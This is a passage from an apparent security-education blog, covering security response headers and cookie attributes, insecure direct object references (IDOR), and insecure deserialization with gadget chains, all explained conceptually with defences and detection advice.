preload. Treat it as effectively permanent. ## Reading a Content-Security-Policy directive by directive A CSP is a list of directives, each naming the sources a given content type may load from, separated by semicolons. Reading one is a matter of taking each directive in turn and asking what it permits. The source keywords recur across directives, so learning them once unlocks the whole policy. The common source expressions are worth knowing precisely. The keyword `'self'` means the page's own origin, scheme and host and port included. The keyword `'none'` forbids every source, used to switch a capability off entirely. A host source such as `https://cdn.example` allows that specific host. The `data:` scheme allows inline data URIs, which is convenient for images and dangerous for scripts. The keywords `'unsafe-inline'` and `'unsafe-eval'` re-enable inline scripts and dynamic evaluation, and each one substantially weakens the policy against injection. A nonce source, written as `'nonce-'` followed by a per-response random value, allows only the inline scripts that carry the matching nonce attribute, which is how a strict policy permits its own inline code without opening the door to injected code. The strength of a CSP comes down to how it handles script. A policy that allows `'unsafe-inline'` for scripts gives an attacker who finds an injection point most of what they want, because injected inline script will run. A policy built on nonces or hashes, with no `'unsafe-inline'`, means an injected script has no valid nonce and is refused, so a cross-site scripting bug that would otherwise execute is reduced to a blocked violation report. This is the difference between a CSP that looks present in a scan and one that actually blunts an attack. ## How to detect missing or weak headers Verifying headers is straightforward, and the checks are concrete enough to automate across a whole site. The goal is to confirm both that the header is present and that its value is strong, since a weak value can be worse than none by implying protection that is not there. - Inspect the actual response headers a client receives, using browser developer tools or a command-line request, rather than trusting the application config, because a proxy or CDN can add, strip, or override headers in transit. - Check for the presence of the core set on every significant response: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`, and a framing control. - Read the CSP value for weakening keywords. The presence of `'unsafe-inline'` or `'unsafe-eval'` in `script-src`, or a missing `object-src` and `base-uri`, means the policy is softer than it looks. - Confirm `Strict-Transport-Security` has a substantial `max-age` and is served over HTTPS, since browsers ignore the header when it arrives over plain HTTP. - Verify sensitive, authenticated responses carry `Cache-Control: no-store`, and check that error pages and API responses are covered too, since these are easy to miss. - Watch for headers set correctly in one environment and missing in another, a common gap between local, staging, and production caused by differing proxy configurations. A header defined in your application means nothing if a reverse proxy or CDN strips or rewrites it before the browser sees it. Always test the headers on the response that actually reaches a client, from outside your infrastructure. A quick command-line request that prints the response headers, run against the public URL, is the ground truth. The application source code is only the intent. ## Common mistakes and misconceptions Several patterns turn header hardening into a false sense of safety. "We set the headers in code, so we are covered." Not until you verify them on the wire. Proxies, load balancers, and CDNs routinely add or remove headers, and a duplicate or conflicting header can cause a browser to use a value you did not intend. The response the client receives is the only one that counts. "A CSP is present, so XSS is handled." Only if the CSP is actually strict. A policy that allows `'unsafe-inline'` for scripts provides little protection against injection, because injected inline script still runs. The presence of the header is not the protection; the exclusion of unsafe sources is. "X-XSS-Protection should be enabled." That legacy header controlled a browser feature that has been removed from modern browsers and could itself introduce issues. The modern answer to reflected script is a strong CSP. Setting the old header does nothing useful today and can be dropped. "More headers is always better." Headers can conflict and can break functionality. A `Cross-Origin-Embedder-Policy` of `require-corp` will stop cross-origin resources that have not opted in from loading at all, which breaks pages that legitimately embed third-party content. Each header is a deliberate choice with a cost, not a box to tick. "HSTS protects the first request." Only with preload. Without preload, the browser has to see the header once over HTTPS before it starts enforcing, so the very first contact can still be plaintext. Preload closes that gap, at the cost of a long-term commitment. ## How the header set evolved The security header landscape has shifted as browsers standardised protections and retired improvised ones. Framing control began with `X-Frame-Options`, a single-purpose header against clickjacking, and has largely moved into CSP's `frame-ancestors` directive, which is more expressive and is the modern control while the older header remains for legacy browsers. Reflected-XSS filtering once lived in the `X-XSS-Protection` header, which browsers have since removed in favour of a strong CSP. Content-type sniffing defenses settled on the simple and durable `X-Content-Type-Options: nosniff`. The most consequential arc is CSP itself, which grew from a blunt allow-list into a mechanism that supports nonces and hashes, letting sites run their own inline scripts safely while refusing injected ones. The cross-origin isolation headers arrived later, in response to side-channel attacks that made high-precision timers and shared memory risky, and they let a page opt into an isolated context where those capabilities are safe again. The direction across all of it is consistent: purpose-built, browser-enforced controls that express intent precisely, replacing the earlier generation of coarse toggles. ## Cookie security attributes belong in the same conversation Response headers harden how the browser treats content, and the `Set-Cookie` header carries its own security attributes that round out the same defensive layer. They are worth setting alongside the core headers because a hardened page that ships a loosely scoped session cookie leaves the most valuable target exposed. The `Secure` attribute tells the browser to send the cookie only over HTTPS, so a session cookie never leaks onto a plaintext connection. It pairs naturally with HSTS, which ensures the connection is HTTPS in the first place. The `HttpOnly` attribute hides the cookie from JavaScript, so that a cross-site scripting bug cannot read the session cookie through the document interface, which contains the damage of an injection that a CSP did not fully stop. The `SameSite` attribute controls whether the cookie is attached to cross-site requests, and setting it to `Lax` or `Strict` removes the automatic cross-site cookie flow that cross-site request forgery relies on, which is why it belongs in the same defensive picture as the response headers even though it is not one of them. Setting these three on session cookies is close to free and closes gaps the response headers do not reach. A session cookie marked `Secure`, `HttpOnly`, and `SameSite=Lax` resists plaintext leakage, script theft, and a large share of cross-site request forgery at once. Treat cookie attributes as part of the same hardening pass, since the browser enforces them with the same reliability it enforces the headers, and the session cookie is usually the single most sensitive value a page handles. ## Frequently asked questions **Which headers should I set first?** Start with the core four: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options: nosniff`, and a framing control (`X-Frame-Options: DENY` or CSP `frame-ancestors 'none'`). They deliver the most protection per line of configuration and cover the most common client-side attacks. **Is X-Frame-Options still needed if I use CSP frame-ancestors?** The `frame-ancestors` directive is the modern control and supersedes `X-Frame-Options`. Keeping the older header as well does no harm and covers legacy browsers that do not honour `frame-ancestors`, so setting both is a reasonable belt-and-braces choice. **Why does my strict CSP break the site?** Almost always because the page relies on inline scripts or styles, or on third-party sources the policy does not list. Deploy with `Content-Security-Policy-Report-Only` first, read the violation reports to see what the policy would block, add the legitimate sources or move to nonces, and only then switch to the enforcing header. **Does setting security headers replace fixing vulnerabilities?** No. Headers are defense in depth. A strong CSP limits the damage of a cross-site scripting bug, but the bug should still be fixed. Headers reduce blast radius; they do not remove the underlying flaw. **Should I enable X-XSS-Protection?** No. The header controlled a browser filter that modern browsers have removed, and it could introduce its own problems. Rely on a strong Content-Security-Policy for protection against reflected script instead. **What does X-Content-Type-Options: nosniff actually prevent?** It tells the browser not to guess a response's content type and to trust the declared `Content-Type`. Without it, a browser may sniff an uploaded or user-supplied file as HTML or script and execute it, turning a file upload into stored cross-site scripting. It matters most where a site serves untrusted files. **When do I need the cross-origin isolation headers?** Set `Cross-Origin-Opener-Policy`, `Cross-Origin-Embedder-Policy`, and `Cross-Origin-Resource-Policy` where you handle sensitive data or need cross-origin isolation for features like high-precision timers and shared memory. On simpler sites they are lower priority than the core four, and `require-corp` in particular can break pages that embed third-party resources, so test before enforcing. ## Related guides - [Content Security Policy Explained](/content-security-policy-explained) - [HSTS Explained](/hsts-explained) - [Clickjacking Explained](/clickjacking-explained) - [CORS Explained](/cors-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP Secure Headers Project (OWASP): https://owasp.org/www-project-secure-headers/ - OWASP Top 10 (OWASP): https://owasp.org/www-project-top-ten/ - NIST SP 800-95: Guide to Secure Web Services (NIST): https://csrc.nist.gov/pubs/sp/800/95/final --- ## IDOR Explained: Insecure Direct Object References > What IDOR is, how missing authorization on object IDs leaks or changes other users' data, why guessable IDs are not the real cause, and how to defend. - URL: https://blog.pwnsy.com/idor-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: web-security - Tags: idor, web-security, access-control, owasp, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - IDOR is a broken access control bug where an app uses a user-supplied object ID to fetch data without checking that the user is allowed to see that object. - The classic example is changing an ID in a URL from your own record to someone else's and getting their data back. - The root cause is a missing authorization check, not a guessable ID. Random IDs hide the problem; they do not fix it. - The fix is to verify on every request that the current user is permitted to act on the specific object, enforced server-side on read and write alike. ### Key Takeaways - IDOR sits under Broken Access Control, the category that tops the OWASP Top 10, because the checks are easy to forget and trivial to exploit. - Any request parameter that names an object, a URL path segment, a query value, or a body field, is a place an attacker will try substituting another object's identifier. - Unguessable identifiers reduce casual discovery but leak through referrers, logs, and shared links, so they are not an access control. - Write-side IDOR is often worse than read-side, because it lets an attacker modify or delete records they do not own. - The durable defense is a per-request authorization check that ties the object to the authenticated user, applied consistently across every endpoint. Some of the most damaging web bugs are also the simplest to trigger. Insecure direct object reference, universally shortened to IDOR, is the standout example. Exploiting one can be as easy as editing a number in a URL. No special tools, no clever payload, just asking the server for a record that belongs to someone else and getting it. IDOR is a kind of broken access control. The application exposes a reference to an internal object, an account, an invoice, a message, a file, and lets the user hand that reference back to fetch the object. The bug is that the application fetches whatever reference it is given without first checking whether this user is allowed to have it. ## A worked example Picture an app where you view your own invoice at a URL like this: ``` https://shop.example/invoices/1043 ``` The number `1043` is a direct object reference. It points straight at a row in the invoices table. You are allowed to see it because it is yours. Now you change the number: ``` https://shop.example/invoices/1044 ``` If the application returns invoice 1044, and 1044 belongs to a different customer, that is IDOR. The server looked up the record by the ID in the URL and sent it back. It never asked the question that mattered: does the person making this request own invoice 1044? That missing question is the entire vulnerability. Every other detail, how the ID is formatted, where it appears, whether it is a number or a string, is secondary. It helps to name what a correct version would do. Before returning invoice 1044, the server should establish who is making the request, look up who owns invoice 1044, and confirm those are the same party or that the requester holds a role that grants access. Only then does it send the data. The vulnerable version skips straight from the ID to the record, and the skipped step is the whole of the security. Notice that this has nothing to do with authentication. The attacker in the example is logged in as a perfectly valid user. Authentication proves who you are; authorization decides what you may touch. IDOR is a failure of the second, not the first, which is why a fully logged-in, entirely legitimate account can still walk off with another user's data. ## Why guessable IDs are a red herring A common first reaction is to blame the sequential number. If the IDs were random and long, an attacker could not guess the next one, so surely the bug goes away. It does not. It only gets quieter. Unpredictable identifiers make casual discovery harder, and that has some value. They do not make the reference secret. Object IDs leak constantly through browser history, server logs, referrer headers, analytics tools, shared links, and support tickets. An attacker who obtains one valid identifier for another user, by any of these routes, walks straight through an app that relies on unguessability. A random ID is a speed bump, and it is being mistaken for a locked door. Switching from sequential IDs to random ones changes how an attacker discovers a reference, not whether the app will honor it. If the server hands over any object whose ID is presented, the only real fix is to check ownership on every request. Treat unguessable IDs as a small hardening measure layered on top of a real access check, never as the check itself. ## Read-side and write-side IDOR is often described as a data-leak bug, and reading other users' records is the familiar version. The write side can be worse. | Variant | What the attacker does | Typical impact | |---|---|---| | Read-side IDOR | Fetches another user's object by substituting its ID | Confidential data disclosure | | Write-side IDOR | Updates another user's object via its ID | Tampering with records the attacker does not own | | Delete-side IDOR | Removes another user's object | Destruction or denial of service | | Function-level gaps | Reaches an action the role should not have | Privilege escalation | If an endpoint that edits a profile, changes an email, or cancels an order trusts an ID in the request without checking ownership, an attacker can act on records that are not theirs. Reviewing only the read paths and assuming the write paths are safe is a frequent and costly mistake. ## Where the IDs live An attacker will look for object references everywhere the app accepts input, not only in the visible URL. - **Path segments**, like the invoice number in the example. - **Query parameters**, such as an `id` or `account` value. - **Request body fields** in JSON or form submissions, especially on APIs. - **Headers and cookies** that name a tenant, an organization, or a user. - **Indirect references** in file names, export links, and download tokens. Any of these is a candidate for substitution. A thorough review walks every endpoint and asks, for each object reference it accepts, whether the code confirms the caller is entitled to that specific object. This maps to the Broken Access Control category at the top of the [OWASP Top 10](/owasp-top-10-explained). ## How IDOR gets missed If the fix is simply an ownership check, it is fair to ask why IDOR remains one of the most reported bugs in the wild. The answer is that the check is easy to write once and easy to forget everywhere else. Applications grow endpoint by endpoint. A developer adds a new route to fetch a resource, focuses on getting the data back correctly, and the authorization step, being invisible in the response, is the part most easily left out. The endpoint works in every test, because the tester is logged in as the owner of the object they are fetching. Nothing looks wrong until someone requests an object they do not own, and by then the code has shipped. The problem compounds on APIs. A single application may expose the same object through several endpoints: a web route, a mobile API, an admin panel, a bulk export. Each is a separate place the ownership check must be repeated, and it only takes one that forgot. Attackers know this and specifically hunt the less-trodden endpoints, the export links and the mobile backends, where the check is most often absent. Framework defaults do not help here. Unlike injection, where prepared statements make the safe path the easy path, most frameworks do not enforce object-level authorization for you. The safe behavior is something the developer must add on purpose, on every route, which is exactly the kind of repetitive discipline humans are bad at sustaining. That is why centralizing the check matters so much, and why testing with a second account belongs in the pipeline rather than in someone's memory. ## How to actually defend against IDOR The defense is conceptually small and operationally demanding: check authorization on every request, for every object, on both reads and writes. 1. **Enforce a per-request ownership check.** Before returning or modifying an object, verify that the authenticated user is permitted to act on that exact object. Scope the lookup to the user where you can, for example querying for an invoice that belongs to the current user rather than fetching by ID and checking afterward. 2. **Deny by default.** Make the absence of an explicit permission mean no access. An endpoint that forgets to check should fail closed, not open. 3. **Centralize the authorization logic.** Put the check in a shared layer, middleware, a policy module, a query scope, so individual endpoints cannot silently skip it. Scattered ad hoc checks are how one forgotten endpoint becomes a breach. 4. **Cover writes and deletes, not just reads.** Apply the same ownership check to every state-changing action. These are the highest-impact paths. 5. **Use indirect references where it fits.** Mapping the user's view to per-session identifiers, so a user only ever sees references valid for them, adds a layer. It supplements the authorization check; it does not replace it. 6. **Test with two accounts.** The reliable way to find IDOR is to take a valid request from one user and replay it as another. Build this into review and automated testing so regressions surface early. For every endpoint that touches an object by ID, answer one question in the code itself: is the current user allowed to act on this specific object. If that check is not present and enforced server-side, the endpoint is vulnerable no matter how the ID is formatted. Make the check a required, centralized step and IDOR stops being possible to forget. ## Detection signals IDOR is found more by testing than by watching traffic, and once you know the shape it also leaves traces in logs. The concrete signals below are where teams surface it. - **Sequential identifier walking.** One authenticated session requesting a run of object IDs it has no prior relationship with, especially incrementing or decrementing values, is the classic probe. A user fetching invoices, messages, or profiles across a range of IDs in quick succession rarely reflects normal use. - **Access to objects with no prior link to the account.** Telemetry that ties each object access to the owning account can flag a request where the requester and the object owner differ. A successful IDOR is exactly this: a valid session touching an object it does not own. - **A spike in authorization-relevant errors, or the absence of them.** On an app with proper checks, cross-account requests produce a wave of access-denied responses, which is itself a signal of probing. On a vulnerable app the same requests succeed silently, so the tell shifts to unusual access patterns rather than error bursts. - **Enumeration across less-trodden endpoints.** Requests hitting export links, mobile API routes, and admin-style endpoints with substituted identifiers, particularly from a session that does not normally use them, point at an attacker hunting the endpoints where the check is most often missing. - **Object references appearing from unexpected sources.** An identifier valid for one user showing up in another user's requests can indicate a reference that leaked through a shared link, a referrer header, or a log, followed by an attacker replaying it. The most reliable discovery method remains active testing rather than passive monitoring, because a vulnerable endpoint answers a cross-account request cleanly and leaves little to alert on. That is the argument for building two-account replay into the test pipeline, covered in the defense list below. ## A step-by-step test for IDOR Finding IDOR is a mechanical process that any review can follow. The steps below turn the two-account idea into a repeatable check. 1. **Create two separate accounts.** Call them the victim and the attacker. Give the victim some data: an invoice, a message, a profile, a file. 2. **Capture a request as the victim.** Log in as the victim and perform an action that touches one of their objects, then record the full request, including the object identifier, the path, and any body fields. 3. **Replay it as the attacker.** Log in as the attacker, take the victim's captured request, and send it using the attacker's session credentials while keeping the victim's object identifier. 4. **Read the result carefully.** If the attacker's session returns the victim's object, the endpoint is vulnerable. If it returns an access-denied response or the attacker's own data, the check is holding for that path. 5. **Repeat across every variant of the object.** Try the read route, the write route, the delete route, the export link, and the mobile or admin API for the same object. Each is a separate check, and a single passing route does not vouch for the others. This procedure scales into automation. Recording a suite of authenticated requests from one account and replaying them under another, then asserting that each is denied, turns IDOR regression testing into something continuous rather than a one-time manual pass. ## How IDOR compares to related access-control bugs IDOR sits inside the broad category of broken access control, and distinguishing it from its neighbors sharpens where each fix belongs. | Bug | What is missing | Attacker action | Where the fix lives | |---|---|---|---| | IDOR (object-level) | A per-object ownership check | Substitutes another user's object identifier | Verify the caller owns the specific object, on every request | | Function-level access control gap | A per-action role check | Reaches an action their role should not have | Enforce role requirements on every privileged endpoint | | Privilege escalation | Correct enforcement of role boundaries | Gains rights beyond their assigned role | Constrain roles and validate every elevation | | Mass assignment | A field-level write allowlist | Sets object fields they should not control | Bind only permitted fields from input | The closest relatives are function-level gaps and mass assignment. A function-level gap is about reaching an action the role should not perform, such as an ordinary user calling an admin-only route, while IDOR is about reaching a specific object the user should not touch. Mass assignment overlaps on the write side: where IDOR lets an attacker act on an object they do not own, mass assignment lets an attacker set fields on an object they may legitimately touch, such as flipping their own role field during a profile update. The two often travel together on the same endpoints, and both come down to the server trusting input it should have constrained. ## Common misconceptions **Random identifiers fix IDOR.** Unpredictable identifiers make casual discovery harder and change nothing about whether the server honors a presented reference. Object IDs leak through history, logs, referrers, and shared links, so an attacker who obtains one walks straight through an app that relies on unguessability. The fix is an ownership check, and randomness is a small hardening measure on top of it. **Authentication covers it.** IDOR is exploited by a fully authenticated, entirely legitimate user acting on objects that are not theirs. Authentication proves identity. Authorization decides what that identity may touch, and IDOR is a failure of the second, which no amount of login strength addresses. **Only read access is at risk.** The write and delete sides are frequently higher impact, because they let an attacker modify or destroy records they do not own. A review that checks read paths and assumes the write paths are safe leaves the more damaging routes open. **The framework handles it.** Unlike injection, where safe defaults make the secure path the easy one, most frameworks do not enforce object-level authorization automatically. The check is something a developer must add deliberately on every route, which is precisely why it is so often forgotten on the less-trodden endpoints. ## Frequently asked questions **What does IDOR stand for and what is it?** IDOR stands for insecure direct object reference. It is a broken access control bug where an application uses a user-supplied identifier to fetch or change an object without first confirming the requester is allowed to act on that specific object. The classic form is editing an identifier in a URL and receiving another user's data. **Is IDOR the same as broken access control?** IDOR is one specific type of broken access control, the category that tops the OWASP Top 10. Broken access control is the broad family of failures to enforce what a user may do or reach, and IDOR is the object-level case where a missing ownership check lets a user touch objects that are not theirs. **Why are unguessable IDs not a real fix?** Because they change how an attacker discovers a reference without changing whether the server honors it. Identifiers leak constantly through browser history, server logs, referrer headers, analytics, and shared links. An attacker who obtains one valid identifier by any of these routes walks straight through an app that trusts unguessability, so the reference has to be checked on every request. Making it hard to guess does not substitute for that check. **Is write-side IDOR worse than read-side?** Often, yes. Read-side IDOR discloses data, which is serious. Write-side and delete-side IDOR let an attacker modify or destroy records they do not own, which can mean tampering, fraud, or denial of service. Apply the ownership check to every state-changing action, since those are the highest-impact paths. **How do I test my own application for IDOR?** Create two accounts, capture a request that touches an object as the first user, then replay it with the second user's session while keeping the first user's object identifier. If the second account receives the first account's object, the endpoint is vulnerable. Repeat across read, write, delete, export, and API variants of the same object. **Where do developers most often forget the check?** On the less-trodden endpoints: export links, bulk downloads, mobile API backends, and admin panels that expose the same object through a different route. A single object is frequently reachable through several endpoints, and it only takes one that omits the ownership check, which is why centralizing the check matters. **Does centralizing authorization actually help?** Yes. Putting the ownership check in shared middleware, a policy module, or a query scope means individual endpoints cannot silently skip it. Scattered ad hoc checks are how one forgotten route becomes a breach, so a central, deny-by-default layer that every request passes through is the durable structural fix. ## How IDOR stays common IDOR has been a top-reported class for as long as web applications have exposed object identifiers, and its persistence has a structural explanation. The industry solved injection largely by making the safe path the default: parameterized queries and templating engines mean a developer following the ordinary pattern gets safety for free. Object-level authorization never got that treatment. Most frameworks route a request to a handler and hand it the identifier without any built-in notion of whether the caller owns the thing that identifier names. The safe behavior is an explicit step the developer must remember on every route. The growth of APIs widened the gap. A single object is now commonly exposed through a web route, a mobile backend, a public API, an admin panel, and a bulk export, each written at a different time by different people. The ownership check has to be present on all of them, and attackers specifically probe the ones most likely to have missed it. Modern practice has responded by pushing the check into shared authorization layers and policy engines, and by treating two-account replay testing as a standard part of the pipeline. The bug remains common because the discipline it requires is repetitive and invisible in a passing test, which is exactly the kind of work that slips. IDOR endures because the exploit is trivial and the defense is a discipline. There is no exotic payload to filter and no library that patches it for you. There is only the question of whether your code checks, on every single request, that this user may touch this object. Make that check mandatory and central, apply it to reads and writes alike, and treat unguessable IDs as the minor hardening they are. To see how access-control flaws move from disclosure to real-world use, cross-reference our Exploit Intelligence dashboard. ## Related guides - [Mass Assignment Explained](/mass-assignment-explained) - [API Abuse Explained](/api-abuse-explained) - [Least Privilege Explained](/least-privilege-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Insecure Direct Object Reference Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html - OWASP Top 10: A01 Broken Access Control (OWASP): https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - PortSwigger Web Security Academy: Insecure direct object references (PortSwigger): https://portswigger.net/web-security/access-control/idor --- ## Insecure Deserialization: Object Injection & Gadget Chains > Why deserializing untrusted data is dangerous, how gadget chains turn it into remote code execution, and safer serialization alternatives. - URL: https://blog.pwnsy.com/insecure-deserialization-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: advanced - Category: web-security - Tags: deserialization, web-security, owasp, rce, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Deserialization rebuilds an object from a byte stream. When that stream is attacker-controlled, the attacker influences what objects come into existence and what runs during reconstruction. - The severe outcome is remote code execution via gadget chains: sequences of existing methods in the application's own libraries, strung together by a crafted object graph. - Native binary serialization formats are the most dangerous because they can encode arbitrary object types and trigger code during reconstruction. - The reliable defense is to never deserialize untrusted data with a format that can instantiate arbitrary types; prefer simple data formats like JSON with explicit schemas. ### Key Takeaways - Serialization converts an object to bytes for storage or transport; deserialization reverses it, and the danger is that reconstruction can execute logic the attacker chose. - A gadget chain reuses methods already present in the application's dependencies, so the attacker writes no new code on the server, they only supply the object graph that triggers the chain. - Signs of exposure include serialized blobs in cookies, hidden fields, tokens, caches, and message queues that a client can modify. - Integrity checks like signing serialized payloads help, but the durable fix is to avoid deserializing untrusted native-object formats at all. - Allowlisting permitted classes during deserialization narrows the attack surface when a format must be used, but it is harder to get right than switching formats. Applications constantly turn objects into bytes and back again: to store a session, to pass a message between services, to cache a result, to send a token to a client. The conversion out is serialization, the conversion back is deserialization, and the second half is where a specific and severe class of vulnerability lives. When a program deserializes data an attacker controls, the attacker gains influence over what objects the program builds and what code runs while building them. This is one of the harder web vulnerabilities to reason about, because the payload rarely looks like an attack. It looks like a normal serialized object. The damage happens during reconstruction, deep inside library code the developer never wrote and rarely reads. Done right by an attacker, it produces remote code execution from nothing more than a modified cookie. ## What serialization actually does Serialization flattens a live object, its type, its fields, and their values, into a stream of bytes that can be stored or sent. Deserialization reads that stream and rebuilds an equivalent object in memory. The critical detail is that many serialization formats encode the object's type, and the deserializer will instantiate whatever type the stream names, then populate it and often run initialization or cleanup logic as part of the process. That last part is the whole problem. If reconstruction can create arbitrary object types and trigger their methods, and the attacker controls the stream, then the attacker controls which objects get created and which methods fire. They do not need to inject new code. They compose existing code into a harmful sequence. ## Why untrusted serialized data is dangerous Consider a session stored client-side as a serialized object inside a cookie. The server deserializes it on every request to restore the session. If that cookie is not integrity-protected, the attacker rewrites it. A naive attack just changes a field, like flipping a `role` value from `user` to `admin`. That is the mild case. The severe case exploits the reconstruction machinery itself. Native serialization formats often invoke special methods automatically during or after deserialization: constructors, initializers, and cleanup hooks defined on the object's class. The attacker supplies a stream describing an object of some class whose reconstruction hook does something useful to them, and it runs the moment the server deserializes. | Impact | How it arises | |---|---| | Tampering / privilege escalation | Modifying fields of a deserialized object that the server trusts | | Denial of service | Objects whose construction consumes huge memory or CPU | | Server-side request forgery | An object whose reconstruction opens a network connection to an attacker-chosen host | | Remote code execution | A gadget chain that reaches a method executing a command | ## Gadget chains Remote code execution rarely comes from a single method. It comes from a chain. A gadget is a method already present in the application or its dependencies that does something interesting when invoked with the right state. A gadget chain links several of them: the reconstruction of the outer object triggers a method that calls another method that calls another, and by the end the sequence reaches something dangerous, like reflection that loads a class or a call that runs a system command. The attacker writes no code that runs on the server. Every gadget is legitimate library code that was already there. The attacker's only artifact is the serialized object graph that, when rebuilt, sends control down the chain. Public tooling has catalogued reusable gadget chains for popular libraries, which is why a single vulnerable deserialization call in a common framework can be exploitable with an off-the-shelf payload. This is also why the bug resists the usual code review instincts. A reviewer looking at the vulnerable line sees a single call that deserializes a byte stream, which looks innocuous. The exploit is nowhere near that line. It is distributed across methods in libraries the reviewer will never open, assembled by an object graph that exists only in the attacker's payload. There is no dangerous-looking function to flag, no string concatenation to spot, no obvious injection point. The danger is structural: the mere act of reconstructing an attacker-chosen object graph is the vulnerability, and it hides in plain sight as a routine call. Gadget chains live in your dependencies, not your code. You can write a perfectly clean class and still be exploitable, because the chain is assembled from methods in a logging library, an ORM, or a collections utility three levels down your dependency tree. This is why "we validated the object's fields" is not a defense. The dangerous behavior fires during reconstruction, before your validation ever runs. ## Where insecure deserialization hides The vulnerability appears wherever a program deserializes data that crossed a trust boundary. The tell is a serialized blob in a place a client or peer can modify: - Session objects serialized into cookies or hidden form fields - Authentication or state tokens that are serialized objects rather than signed claims - Cached objects in a shared cache that other tenants can influence - Messages on a queue consumed by a worker that deserializes them - API parameters that accept a serialized object - Inter-service calls using a native binary format over the wire The pattern to watch for is a native, type-carrying serialization format applied to data that originated outside your trust boundary. Binary object formats that encode arbitrary types are the highest risk. Formats meant purely for data, like JSON, do not instantiate arbitrary application classes and so do not carry the same reconstruction risk on their own. ## Safe alternatives and defenses The most durable fix is architectural: do not deserialize untrusted data using a format that can instantiate arbitrary types. Everything else is mitigation on top of a dangerous choice. ### Prefer a pure data format Move to a serialization format that transports data, not live objects. JSON, or a schema-defined format like Protocol Buffers, describes values and structure. Your code reads those values and constructs known types explicitly, so the attacker never gets to name a type or trigger a reconstruction hook. This removes the gadget-chain class of bug rather than trying to contain it. See our [secure coding practices](/secure-coding-practices) guide for how this fits a broader input-handling discipline. ### Sign serialized payloads you must round-trip If a serialized object must go to a client and come back, protect its integrity. Attach a message authentication code computed with a server-side secret and verify it before deserializing. If the signature does not match, reject the payload without parsing it. This stops tampering, though it depends on the secret staying secret and does not help if the deserialization is reachable by other untrusted paths. ### Allowlist permitted classes Where a native format cannot be avoided, constrain deserialization to a strict allowlist of expected classes and reject anything else before reconstruction proceeds. This shrinks the attack surface, but it is fiddly to implement correctly and easy to bypass if the allowlist is too broad or a permitted class is itself a gadget entry point. Treat it as a hardening layer, not a primary control. ### Isolate and monitor Run deserialization in a low-privilege context so a successful chain lands somewhere with limited reach, and log deserialization failures, which often signal probing. Because a successful chain frequently ends in command execution, the same discipline that protects against [command injection](/command-injection-explained) and [server-side template injection](/server-side-template-injection-explained) applies to the aftermath. Adding class allowlists and signatures to a native binary deserializer is patching a hole in a dangerous wall. The stronger move is to stop deserializing untrusted native objects at all and switch the boundary to JSON or a schema format where the attacker cannot name a type or trigger a reconstruction hook. Redesign the interface once and the entire vulnerability class disappears. ## How to defend against insecure deserialization 1. **Do not deserialize untrusted data with native object formats.** Make this a hard rule. Any serialized object that crossed a trust boundary is untrusted. 2. **Use data-only formats with explicit construction.** Accept JSON or a schema-based format, read the fields you expect, and build known types yourself. 3. **Integrity-protect any serialized payload that round-trips through a client**, verifying a signature before parsing. 4. **Allowlist deserializable classes** where a native format is unavoidable, and keep the list as small as possible. 5. **Keep dependencies patched**, since gadget chains are discovered in libraries over time and updates remove known ones. 6. **Run deserialization with least privilege** and monitor for deserialization errors that indicate probing. Because a working chain so often ends in code execution, the attacker's next step is delivery: getting the crafted payload into your parser, frequently via a file, a token, or a queue message. Our Exploit Intelligence dashboard tracks which deserialization and object-injection flaws are being actively exploited, so you can prioritize the libraries and frameworks under real pressure instead of treating every advisory the same. Insecure deserialization is a quiet vulnerability with a loud outcome. The payload looks like ordinary data, the dangerous work happens inside code you never wrote, and the result can be full control of the server. The path out is to stop trusting serialized objects from outside your boundary and to move those interfaces to formats that carry data instead of behavior. ## A worked walkthrough of an object-injection chain It helps to trace the shape of an attack once, in plain terms, without inventing a specific vulnerability. Picture an application that stores a shopping session client-side. The session is a live object with a few fields: a user identifier, a cart, and a timestamp. To persist it, the framework serializes that object into a byte stream, encodes it, and drops it into a cookie. On the next request the framework reads the cookie, decodes it, and deserializes the byte stream back into a session object. Now trace what the attacker sees. The cookie is a blob they can read and rewrite. If the format is a native, type-carrying one, the first field of that blob effectively names a class. The attacker changes that name. Instead of describing a session object, the blob now describes an object of some other class that happens to live in the application's dependency tree. When the framework deserializes the cookie, it does exactly what it was told: it instantiates the class the blob names and populates the fields the blob supplies. The next link is the reconstruction hook. Many classes define a method that runs automatically when an instance is rebuilt from bytes, a place meant for validating fields or restoring transient state. The attacker chooses a class whose hook reads one of its own fields and passes it to another method. That field, of course, is also attacker-supplied. So the hook fires, reads the attacker's value, and hands it to the next gadget. That gadget might invoke a method by name using reflection, and the name is again a field the attacker set. Step by step, control walks from a harmless-looking cookie into a call that loads a class, runs a template, or executes a command. The important thing about this trace is that every method along the way is ordinary library code. Nobody wrote a malicious function. The attacker assembled a path through code that already existed, using nothing but the field values encoded in the object graph. That is the entire mechanism, and it is why the fix has to be structural. The technique corresponds to MITRE ATT&CK Exploitation for Client Execution and maps to CWE-502, Deserialization of Untrusted Data. ## Detection signals Insecure deserialization is quiet by design, so detection leans on knowing where serialized data enters and watching those points closely. A few concrete signals separate real exposure from theoretical worry. Look first for the raw material. Base64 or hex blobs in cookies, hidden form fields, authentication tokens, cache entries, and message-queue payloads are the tell. A native serialization format usually carries a recognizable header or magic bytes at the start of the stream, so a decoded value that begins with a consistent prefix and then names class-like strings is a strong indicator that the application round-trips live objects rather than plain data. At runtime, watch for deserialization errors in application logs. An attacker probing a parser generates malformed streams, and those throw type or class-resolution 